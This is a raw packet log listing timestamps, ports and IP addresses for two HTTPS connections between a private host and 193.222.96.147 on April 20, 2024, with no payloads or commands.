Apr 20, 2024 06:47:57.118058920 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.118100882 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.118136883 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.118149996 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.118175983 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.118201017 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.118417978 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.118455887 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.118495941 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.118509054 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.118535042 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.118558884 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.118683100 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.118721962 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.118760109 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.118772030 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.118798018 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.118823051 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.118989944 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119030952 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119067907 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.119081020 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119107962 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.119127989 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.119287014 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119327068 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119364977 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.119376898 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119404078 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.119432926 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.119482994 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119522095 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119555950 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.119566917 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119594097 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.119613886 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.119767904 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119807959 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119844913 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.119857073 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.119888067 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.119924068 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.348717928 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.348767996 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.348895073 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.348913908 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.348913908 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.348983049 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349056959 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349061012 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349081039 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349088907 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349112034 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349123955 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349158049 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349251986 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349298954 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349421024 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349458933 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349525928 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349525928 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349525928 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349525928 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349592924 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349632978 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349649906 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349668026 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349699974 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349704027 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349720001 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349740028 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349781036 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349806070 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.349858999 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.349895954 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350011110 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350056887 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350055933 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.350055933 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.350116968 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350173950 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.350173950 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.350178003 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350220919 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350285053 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.350285053 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.350306988 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350332975 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350379944 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350392103 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.350406885 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350446939 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.350480080 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350554943 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.350569963 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350615978 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.350627899 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.350688934 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.363708973 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.490534067 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.490614891 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.490859985 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.492168903 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.492244005 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.905735970 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.908184052 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.908242941 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.516577005 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.516635895 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.516679049 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.516849995 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.516849995 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.516920090 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.516958952 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.516993046 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.517023087 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.517045975 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.517064095 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.717487097 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.717539072 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.717796087 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.717803001 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.717856884 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.717905045 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.717917919 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.717926025 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.717948914 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.717988014 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.717988014 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.718091965 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.718133926 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.718163013 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.718179941 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.718211889 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.718230963 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.918747902 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.918797970 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.918972969 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.918972969 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.919034958 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.919075966 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.919101000 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.919116974 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.919143915 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.919152021 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.919172049 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.919192076 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.919218063 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.919235945 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.919370890 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.919411898 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.919456005 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.919486046 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.919513941 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.919533014 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.919727087 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.919765949 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.919903994 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.919903994 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.919965982 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.920021057 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.920048952 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.920089960 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.920178890 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.920178890 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.920197964 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.920247078 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.920381069 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.920420885 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.920450926 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.920469999 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.920500994 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.920521975 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.954477072 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.954520941 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.954710007 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.954710007 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:58.954771996 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:58.954941034 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.120887995 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.120933056 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121110916 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121110916 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121172905 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121213913 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121239901 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121256113 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121298075 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121298075 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121298075 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121325970 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121387959 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121387959 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121505976 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121561050 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121692896 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121692896 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121754885 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121800900 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121814013 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121831894 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121860027 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121865034 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121903896 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.121948004 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.121985912 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.122009039 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.122009039 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.122037888 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.122064114 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.122081995 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.122091055 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.122103930 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.122143030 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.122165918 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.122325897 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.122364044 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.122395992 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.122410059 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.122438908 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.122464895 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.122718096 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.122760057 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.122792006 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.122805119 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.122832060 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.122857094 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.123023987 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.123063087 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.123095989 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.123107910 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.123162031 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.123162031 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.123333931 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.123373985 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.123409033 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.123425961 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.123450041 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.123470068 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.123696089 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.123739004 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.123769999 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.123783112 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.123815060 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.123831034 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.124020100 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.124058962 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.124090910 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.124125004 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.124147892 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.124171019 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.155100107 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.155139923 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.155262947 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.155262947 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.155324936 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.155390024 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.155459881 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.155500889 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.155551910 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.155551910 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.155579090 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.155632019 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.155751944 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.155791998 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.155966997 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.155966997 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.156028986 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.156092882 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.325217962 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.325263977 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.325350046 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.325413942 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.325452089 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.325474977 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.325525999 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.325567007 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.325591087 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.325606108 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.325638056 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.325675011 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.325855970 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.325897932 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.326072931 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.326073885 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.326136112 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.326174974 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.326199055 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.326214075 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.326247931 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.326253891 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.326266050 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.326282024 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.326347113 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.326348066 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.326699972 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.326739073 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.326782942 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.326800108 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.326829910 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.326852083 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.327033997 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327075005 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327106953 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.327124119 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327151060 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.327173948 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.327330112 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327369928 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327399969 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.327415943 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327439070 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.327480078 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.327621937 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327661037 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327689886 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.327702999 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327760935 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.327760935 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.327872038 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327912092 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327944994 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.327961922 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.327986002 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.328016043 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.328150034 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.328191042 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.328223944 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.328239918 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.328264952 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.328289986 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.328411102 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.328449011 CEST	443	49731	193.222.96.147	192.168.2.4
